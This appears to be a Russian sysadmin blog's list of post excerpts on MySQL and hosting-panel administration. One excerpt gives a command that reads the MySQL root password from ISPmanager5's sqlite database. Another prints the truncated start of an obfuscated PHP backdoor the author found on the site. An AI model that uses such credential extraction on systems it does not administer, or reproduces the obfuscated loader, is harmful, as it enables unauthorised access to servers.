yandex

Конфигуратор файла репозитория для MariaDB

Случайно наткнулся на удобный конфигуратор от разработчиков форка MySQL, который позволяет создать файл под все популярные дистрибутивы и версии Linux. Живет конфигуратор здесь – https://downloads.mariadb.org/mariadb/repositories/ На скриншоте можно увидеть вариант выбора и получения результата для MariaDB 10.1 и CentOS 7 64bit, который выключает не только содержимое файла, но и команду для установки сервера баз данных.

Установка php-расширения mysqli в cPanel/WHM

Для того, чтобы установить расширение php MySQLi на сервере под управлением cPanel/WHM потребуется всего несколько шагов: Авторизуйтесь в cPanel WHM под администратором. В разделе “Software” перейдите по ссылке EasyApache (Apache Update). На странице EasyApache, убедившись, что выбрано Previously Saved Config, выберите и нажмите на кнопку Start customizing based on profile. Можно не глядя нажать несколько раз Next, пока не…

Узнать пароль от root mysql в ISPmanager5

В новой ветке панели управления ISPmanager5 от компании ИСПсистем, все настройки хранятся в базе данных sqlite3. Для того, чтобы узнать root-пароль от MySQL, следует выполнить следующую команду: sqlite3 /usr/local/mgr5/etc/ispmgr.db “select username,password from db_server;” Полученный вывод root|<password> и есть искомый root-пользователь и его пароль.    

Очистка базы question2answer от спама

У меня есть поддомен ask.sabini.ch, где у меня установлен скрипт Question2answer. Это движок сервиса вопросов-ответов типа “ответы.майл.ру” и подобного. Нередко я им пользуюсь для публикации кратких заметок. Плюс использую для обратной связи с посетителями блога. Ведь не всегда им хочется прокомментировать что-то по теме. Иногда и новые вопросы возникают. Там нередко эти вопросы и появляются.…

zabbix “вопросики” в админке

Я особо не смотрел систему мониторинга Zabbix, но периодически встречаюсь с ней. В админке после переключения на русский язык в поле “История:” (видимо, какой-то аналог “хлебных крошек” на сайтах) появились символы “????” вместо названия разделов административной панели. Как оказалось, установлено все было неглядя на текущую настройку mysql и получилось следующее: В Mysql настроено сравнение cp1251,…

Смена пароля администратора в Drupal 7

Сегодня неожиданно понял, что не помню пароля от администратора на тестовом сайте.Я его сменил и делюсь решением с общественностью.Решение работает для Drupal 7.Первым делом используя файл ./scripts/password-hash.sh создаем хэш пароля../scripts/password-hash.sh <новый пароль>далее в любом удобном клиенте для доступа к БД, будь то phpmyadmin, или консоль mysql, или консоль sqlite меняем пароль командойupdate users set pass='<хэш…

Вирусы на сайте #3

Продолжаем бесконечную историю. Сегодня день начался с того, что блог перестал открываться по причине того, что хостер убрал InnoDB из поддерживаемых движков сервера баз данных MySQL. Пришлось слить дамп, выполнить команду sed ‘s/InnoDB/MyISAM/g’ old.sql > new.sql и залить обратно =) Сегодня наткнулся на такую прелесть: <?php $md5 = “abe69649a7dbde93d328df6049b55aea”; $wp_salt = array(‘(‘,’t’,’v’,’d’,”i”,”o”,”;”,”b”,’4′,’n’,”a”,”z”,’)’,”c”,”f”,”6″,”r”,”g”,”l”,”e”,”$”,’_’,’s’); $wp_add_filter = create_function(‘$’.’v’,$wp_salt[19].$wp_salt[2].$…

Сменить префикс таблиц в базе данных mysql

Когда требуется сменить префикс таблиц в mysql, то на помощь придет следующий скрипт, который я нарыл на каком-то форуме: <?php $link = mysql_connect(“localhost”, “<USER>”, “<PASSWORD>”); $query = “SHOW TABLES FROM <TABLE>”; mysql_select_db(“<TABLE>”); $result = mysql_query($query,$link); while ($opis= mysql_fetch_array($result)) { print $opis[0]; $new = mysql_query (“ALTER TABLE `”.$opis[0].”` RENAME `”.str_replace(“<PREF1>”,”<PREF2>”,$opis[‘0’]).”`;”,$link); } mysql_close($link); ?> Если кто знает…

Обновление BILLmanager до Corporate

В табличке doctemlp в поле account следует заменить значение на 1 для всех. И удалить уникальный ключ name.Услышал краем уха, что скоро эти магические пассы руками не потребуются.

BILLmanager и отчеты в pdf

В BILLmanager есть возможность отправки отчетов в PDF по электронной почте. Но как оказалось, нужное поле text имеет ограничение в 65536 байт. Поэтому громоздкие отчеты с большими логотипами приходят в поврежденном виде.Как временное решение, есть вариант использования следующего рецепта:В параметрах MySQL следует увеличить значение параметра max_allowed_packet, а так же в таблицах sendemail и sendemailpdf изменить тип столбца…